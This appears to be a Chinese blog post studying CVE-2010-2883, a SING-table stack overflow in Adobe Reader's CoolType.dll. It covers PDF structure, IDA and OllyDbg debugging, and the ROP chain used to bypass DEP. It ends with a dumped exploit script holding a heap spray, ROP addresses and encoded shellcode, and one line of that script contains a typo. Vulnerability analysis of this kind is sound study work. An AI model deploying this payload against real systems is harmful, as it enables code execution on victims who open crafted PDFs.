CVE-2010-2883 学习记录(漏洞战争,启动!)

发布时间 2023-10-04 13:06:53作者: moon_flower
  • 格式分析

    Header: 文件头,用来注明 pdf 文件版本号
    Body: 主要由组成文件的对象组成,例如图片,文字
    Cross-regerence table: 交叉引用表,用于存放所有对象的引用、位置偏移、字节长度,用于随机访问pdf中的任意对象
    Trailer: 文件尾,给出交叉引用表的位置(指针)和一些关键对象的信息(指针),以%%EOF标记文件结尾。PDF阅读器都是从这里开始解析的
    

    这里用 https://github.com/dzzie/pdfstreamdumper 工具查看 pdf Body 的节点信息,首先第一个节点:

        /Pages 2 0 R        // 2(对象序号)0(生成号)R(表示引用对象)
        /Type /Catalog      // 此对象是 catalog 对象(根对象)
        /OpenAction 11 0 R  // 对象 11 包含打开 PDF 时要执行的操作
        /AcroForm 13 0 R
    

    第二个节点:

        /MediaBox 3 0 R     // 对象 3 包含页面显示的大小
        /Resources 4 0 R    // 对象 4 包含该页所要包含的资源,包括字体和内容的类型
        /Kids [5 0 R]       // 此对象的孩子为对象 5
        /Count 1            // 此PDF总共有 1 页
        /Type /Pages        // 此对象是 Pages 对象
    

    跟进第二个节点包含的对象

    4 0 obj
    <<
        /Font 6 0 R         //对象6包含字体相关信息
    >>
    endobj
    
    6 0 obj
    <<
        /F1 7 0 R           //对象7包含字体相关信息
    >>
    endobj
    
    7 0 obj
    << 
        /Type /Font         // 字体对象
        /Subtype /TrueType  // 字体类型是 TrueType
        /Name /F1
        /BaseFont /Cinema   // 基于 Cinema 字体
        /Widths []
        /FontDescriptor 9 0 R   // 对象9是字体描述对象
        /Encoding /MacRomanEncoding     // 字符编码采用M acRoman
    >>
    
    9 0 obj 
    <<
        /Type /FontDescriptor            // 此对象为字体描述对象
        /FontName /Cinema                // 字体名称是 Cinema
        /Flags 131140
        /FontBBox [-177 -269 1123 866]
        /FontFile2 10 0 R				// 指向 10 号对象,10 号对象是流对象(黄色的)
    >>
    

    image-20220614180316097

    其中,00 01 00 00 是 TTF 字体文件的开始标志,

    image-20220614180424714

    其中的 SING 技术(生僻字解决方案)允许用户创建新字形,每个新字形作为一个独立的字体打包。这次漏洞触发点在 uniqueName 的操作过程中,长度 28 字节,表中偏移 16 字节。SING 表结构如下:

    /*
    https://github.com/adobe-type-tools/afdko/blob/develop/c/spot/sfnt_includes/sfnt_SING.h
     * SING table for glyphlets
     */
     
    #ifndef FORMAT_SING_H
    #define FORMAT_SING_H
     
    #define SING_VERSION VERSION(1, 1)
     
    #define SING_UNIQUENAMELEN 28
    #define SING_MD5LEN 16
     
    typedef struct
    {
        Card16 tableVersionMajor;
        Card16 tableVersionMinor;
        Card16 glyphletVersion;
        Card16 permissions;
        Card16 mainGID;
        Card16 unitsPerEm;
        Int16 vertAdvance;
        Int16 vertOrigin;
        Card8 uniqueName[SING_UNIQUENAMELEN];	// 28 bytes length
        Card8 METAMD5[SING_MD5LEN];
        Card8 nameLength;
        Card8 *baseGlyphName; /* name array */
    } SINGTbl;
     
    #endif /* FORMAT_SING_H */
    
  • 静态分析

    漏洞位于 CoolType.dll,拖出来用 IDA 分析,找到 SING 表的位置

    image-20220614184929986

    看一下在 0803DD74 地址的交叉引用,发现调用了 strcat 追加字符串,没有检查:

    image-20220614185335901

    源地址来自:ebp + 108h + Destination,入栈时源地址有个 0x10 的偏移,实际上是 UniqueName 字段的偏移,

    image-20220614185828928

    导入符号表(ctrl+f9) https://github.com/adobe-type-tools/afdko/blob/develop/c/spot/sfnt_includes/sfnt_SING.h (需要修改一下类型),然后给 v18 变量 convert to struct 一下

    #ifndef FORMAT_SING_H
    #define FORMAT_SING_H
    #define SING_VERSION VERSION(1, 1)
    #define SING_UNIQUENAMELEN 28
    #define SING_MD5LEN 16
    typedef struct
    {
    USHORT tableVersionMajor;
    USHORT tableVersionMinor;
    USHORT glyphletVersion;
    USHORT permissions;
    USHORT mainGID;
    USHORT unitsPerEm;
    USHORT vertAdvance;
        USHORT vertOrigin;
    BYTE uniqueName[SING_UNIQUENAMELEN];
    BYTE METAMD5[SING_MD5LEN];
    BYTE nameLength;
    BYTE *baseGlyphName; /* name array */
    } SINGTbl;
    #endif /* FORMAT_SING_H */
    

    验证了之前的猜想。

    image-20220614191701172

  • 动态调试

    方便查看修改一下 payload(/usr/share/metasploit-framework/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb):

    image-20220614193130837

    用 Ollydbg 打开 AcroRd32.exe,f9 加载库,然后下 3 个断点(0803DD82,0x0803DDAB:strcat 之前,0808B308)

    用 ollydbg 打开的 Adobe Reader 打开 生成的 pdf 文件,程序断在第三个断点,然后单步进入跳到 080833EF

    image-20220614225610195

    用 ida 查看对应代码

    image-20220614225629657

    跳到 0803DD82 处,一直 f8 到调用完 strcat,此时 ebp 地址尾 0x12E4D8,这之下的地址已经被栈溢出覆盖(4141),此时 eip 被覆盖为 4A82A714,

    image-20220614231355636

    然后需要绕过 DEP 保护,这里使用堆喷 + ROP。ROP 的地址选取的是 0x4a82a714 和 0x4a80cb38 两处地址,因为在 Adobe Reader 各个版本中这个 dll 上的这两个地址不会改变。

    第一个 ROP,通过栈迁移调整栈顶,运行完之后 esp 的地址指向 0x12E4E0,栈溢出的地址是 0x12E4D8,刚好差了 8 个字节。

    image-20231004112647136

    第二个 ROP,pop esp,把 esp 修改到 0x0C0C0C0C 方便堆喷。

    image-20231004114338508

    image-20231004113519457

    第三个,地址 0x4A8A0000 存到 ecx 上,

    image-20231004113706293

    第四个,把 eax 的值存到 ecx 指向的地址(0x4A8A0000),

    image-20231004113946228

    第五个,把当前栈顶指针(CreateFileA 函数)赋值给 eax,

    image-20231004114131702

    第六个,跳转到 eax 执行 CreateFileA 函数,

    image-20231004114425427

    此时栈上已经构造好所需的参数,CreateFileA 打开一个名为 iso88591 的文件,属性为临时文件和隐藏文件,

    image-20231004114648567

    image-20231004114726772

    然后交换 eax 和 edi,此时 eax 中存放的是 CreateFileA 后返回的文件句柄:

    image-20231004114917283

    下一个 ROP 把 edi 的值放到 esp + ebx*2 处,也就是 0x0C0C0C6C,这个地方存的是下个函数 CreateFileMappingA 函数第一个参数的位置。

    image-20231004115001739

    然后执行 CreateFileMappingA 函数,为指定文件创建文件映射对象,内存属性为 RWX,准备把 shellcode 复制到这里执行。接着会用相同的方式执行 MapViewOfFile 函数,该函数讲一个文件映射对象映射到当前程序的地址空间中,

    image-20231004115745093

    这里把文件映射到地址 0x3B70000,通过地址映射可以看到这里也是 RWE 权限

    image-20231004120025539

    然后要调用 memcpy 讲 shellcode 放到这里,具体参数的修改方式还是通过前面的方式。

    image-20231004120839746

    memcpy 的 src 为 0x0C0C0D54(存放 shellcode),dst 为 3B70000:

    image-20231004121205415

    然后跳转到 shellcode 处执行,calc.exe:

    image-20231004121352297

    dump 出来具体的 exp:

    image-20231004125130832

    变量名换一下:

    var a = unescape( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%ud0d9%u74d9%uf424%u295b%ub1c9%ub831%ucdd3%ub89c%u4331%u0318%u1843%uc383%u2fd7%u4469%u2d3f%ub592%u52bf%u501a%u528e%u1078%u62a0%u740a%u084c%u6d5e%u7cc7%u8277%uca60%uada1%u6771%uac91%u7af1%u0ec6%ub4c8%u4e1b%ua80d%u02d6%ua6c6%ub345%uf263%u3855%u123f%uddde%u15f7%u73cf%u4f8c%u72cf%ue441%u6d46%uc186%u0611%ubd7c%ucea3%u3e4d%u2f0f%ucd62%u7751%u2e44%u8124%ud3b7%u563f%u0fca%u4db5%udb6c%uaa6d%u088d%u39eb%ue581%u657f%uf885%u1dac%u71b1%uf253%uc130%ud670%u9119%u4f19%u74c7%u8f25%u29a8%udb83%u3d44%u81be%uc002%ubc4c%uc260%ubf4e%uabd4%u347f%uacbb%u9f7f%u43f8%u82ca%ucba8%u5693%u91e9%u8d23%uac2d%u24a7%u4bcd%u4cb7%u10c8%ubc7f%u09a0%uc2ea%u2917%ua13f%ub9f6%u08a3%u399d%u5541' );
    var b = unescape( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
    while(b.length + 20 + 8 < 0x10000) b+=b;
    c = b.substring(0, (0x0c0c-0x24)/2);
    c += a;
    c += b;
    d = c/substring(0, 0x10000/2);
    while(d.length < 0x80000) d += d;
    e = d.substring(0, 0x80000 - (0x1020-0x08)/2);
    var array = new Array();
    for(i=0; i < 0x1f0; i++) array[i] = e + "s"
    

    其中 b 就是 0x0C0C0C0C,然后用 0x0c( or al, 0xc)滑过去,这里主要做的就是截取长度为 0x0c0c - 0x24 的滑板,在后门添加 shellcode,这样可以保证 shellcode 中从 0x4A8063A5 开始的地址正好保存在结尾为 0C0C 的地址上,这个减去的 0x24 就是堆头部 0x20 的信息和 shellcode 的 4 个 0x41 开头。

  • 参考文献